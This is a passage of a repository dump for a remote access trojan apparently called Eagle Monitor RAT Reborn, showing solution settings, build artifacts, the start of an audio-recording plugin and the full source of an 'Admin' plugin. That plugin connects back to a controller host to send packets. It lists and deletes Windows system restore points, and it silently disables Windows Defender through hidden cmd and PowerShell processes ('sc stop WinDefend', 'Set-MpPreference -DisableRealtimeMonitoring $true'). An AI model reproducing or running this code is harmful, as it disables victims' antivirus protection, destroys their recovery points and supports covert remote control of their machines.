CPU\n\t\t{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.Build.0 = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(NestedProjects) = preSolution\n\t\t{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{08BF3C47-16A4-4D13-9A5B-3130F29CC180} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{D317BA4E-5818-4FC4-AA4E-EEA824317759} = {AFC1D5E4-E5FC-478E-8D0C-6065C6F1B5EF}\n\t\t{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{B06314F2-338E-4E66-ACAA-A107A777A7B5} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{5389698F-E221-466D-8682-8F289C44F1DD} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{57239258-19E3-4B07-854C-8B0A3221C45A} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{0607E970-CC93-4A2A-83CA-53B9D537C96E} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{DCD28797-E01E-48F7-942C-6E01DF1DD9E9} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{EAEC4642-636D-4312-8903-D70157A8E91C} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{773A4D23-189D-4353-BF37-515591E16F5A} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{D60C7327-79D4-4525-95D9-ADD6B55986A8} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{150CA92E-FD24-4518-8B7B-BBECB4CC7578} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\t\t{417F720D-E20B-4EBD-BB31-FD3E4C630FAD} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95}\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {746CE693-E252-4E26-88E6-8C484C23D190}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/Admin.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>Admin</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"Microsoft.CSharp\" />\n    <Reference Include=\"System.Management\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"DeleteRestorePoint.cs\" />\n    <Compile Include=\"GetRestorePoints.cs\" />\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"Utils.cs\" />\n    <Compile Include=\"WindowsDefender.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n\n        public ClientHandler(Host host, string key) : base()\n        {\n            this.host = host;\n            this.key = key;\n            sendDataAsync = new SendDataAsync(SendData);\n        }\n\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (!Connected)\n            {\n                ConnectStart();\n            }\n        }\n\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private int SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n\n                }\n                catch (Exception)\n                {\n                    Connected = false;\n                    return 0;\n                }\n            }\n        }\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            int length = sendDataAsync.EndInvoke(ar);\n\n            if (Connected)\n            {\n                if (length != 0)//TODO : LOGS\n                {\n                    //MessageBox.Show(\"Data sent ! + length = \" + length.ToString());\n                }\n                else \n                {\n                    //MessageBox.Show(\"Error while sending data + length =\" + length.ToString());\n                }\n\n            }\n            this.Dispose();\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/DeleteRestorePoint.cs",
    "content": "﻿\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class DeleteRestorePoint\n    {\n        internal static bool DeleteARestorePoint(int sequenceNumber) \n        {\n            if (!Utils.IsAdmin())\n                return false;\n\n            uint result = Imports.SRRemoveRestorePoint(sequenceNumber);\n\n            if(result == Imports.ERROR_SUCCESS)\n                return true;\n            else\n                return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/GetRestorePoints.cs",
    "content": "﻿using PacketLib.Packet;\nusing System.Collections.Generic;\nusing System.Management;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class GetRestorePoints\n    {\n        internal static List<RestorePoint> GetAllRestorePoints() \n        {\n            if (!Utils.IsAdmin())\n                return null;\n\n            ManagementClass objClass = new ManagementClass(\"\\\\\\\\.\\\\root\\\\default\", \"systemrestore\", new System.Management.ObjectGetOptions());\n            ManagementObjectCollection objCol = objClass.GetInstances();\n            List<RestorePoint> restorepoints = new List<RestorePoint>();\n            foreach (ManagementObject objItem in objCol)\n            {\n                restorepoints.Add(new RestorePoint\n                {\n                    index = (uint)objItem[\"sequencenumber\"],\n                    description = objItem[\"description\"].ToString(),\n                    type = (RestorePoint.RestorePointType)((uint)objItem[\"restorepointtype\"]),\n                    creationTime = objItem[\"creationtime\"].ToString()\n                });\n            }\n            return restorepoints;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/Imports.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace Plugin\n{\n    internal class Imports\n    {\n        #region \"srclient\"\n        private const string srclient = \"srclient.dll\";\n        internal const uint ERROR_SUCCESS = 0x0;\n        [DllImport(srclient)]\n        public static extern uint SRRemoveRestorePoint(int index);\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.UAC_GET_RESTORE_POINT:\n                    RestorePointPacket restorePointPacket = new RestorePointPacket(GetRestorePoints.GetAllRestorePoints(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, restorePointPacket);\n                    break;\n\n                case PacketType.UAC_DELETE_RESTORE_POINT:\n                    DeleteRestorePointPacket deleteRestorePoint = new DeleteRestorePointPacket(((DeleteRestorePointPacket)loadingAPI.CurrentPacket).index, DeleteRestorePoint.DeleteARestorePoint(((DeleteRestorePointPacket)loadingAPI.CurrentPacket).index), loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, deleteRestorePoint);\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n        private static void ClientSender(Host host, string key, IPacket packet)\n        {\n            ClientHandler clientHandler = new ClientHandler(host, key);\n            clientHandler.ConnectStart();\n            while (!clientHandler.Connected)\n                Thread.Sleep(125);\n            clientHandler.SendPacket(packet);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Admin\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Admin\")]\n[assembly: AssemblyCopyright(\"Arsium ©  2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"b4600d81-f6e7-4f97-b0d1-7029eeeed5f0\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/Utils.cs",
    "content": "﻿using System.Security.Principal;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class Utils\n    {\n        internal static bool IsAdmin()\n        {\n            return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/WindowsDefender.cs",
    "content": "﻿using System.Diagnostics;\nusing System.Globalization;\nusing System.Text;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n//https://www.itechtics.com/enable-disable-windows-defender/\n\nnamespace Plugin\n{\n    internal class WindowsDefender\n    {\n        internal static void Stop() \n        {\n            if (!Utils.IsAdmin())\n                return;\n            //sc stop WinDefend\n            //Set-MpPreference -DisableRealtimeMonitoring $true\n            Process cmd = new Process();\n            cmd.StartInfo.StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage);\n            cmd.StartInfo.FileName = \"cmd.exe\";\n            cmd.StartInfo.RedirectStandardInput = true;\n            cmd.StartInfo.RedirectStandardOutput = true;\n            cmd.StartInfo.CreateNoWindow = true;\n            cmd.StartInfo.UseShellExecute = false;\n            cmd.Start();\n\n            cmd.StandardInput.WriteLine(\"sc stop WinDefend\");\n            cmd.StandardInput.Flush();\n            cmd.StandardInput.Close();\n            cmd.WaitForExit();\n\n            Process powershell = new Process();\n            powershell.StartInfo.StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage);\n            powershell.StartInfo.FileName = \"powershell.exe\";\n            powershell.StartInfo.RedirectStandardInput = true;\n            powershell.StartInfo.RedirectStandardOutput = true;\n            powershell.StartInfo.CreateNoWindow = true;\n            powershell.StartInfo.UseShellExecute = false;\n            powershell.Start();\n\n            powershell.StandardInput.WriteLine(\"Set-MpPreference -DisableRealtimeMonitoring $true\");\n            powershell.StandardInput.Flush();\n            powershell.StandardInput.Close();\n            powershell.WaitForExit();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.CopyComplete",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.CoreCompileInputs.cache",
    "content": "4ee5c2280743eda022ac97128be5c0eb59bb9ef2\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Admin.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Admin\\obj\\Release\\Admin.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Admin\\obj\\Release\\Admin.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Admin\\obj\\Release\\Admin.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Admin.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CopyComplete\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.dll\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Admin.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Admin.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Admin.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Admin.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Admin\\obj\\Release\\Admin.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Admin/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/AudioRecording.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>AudioRecording</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    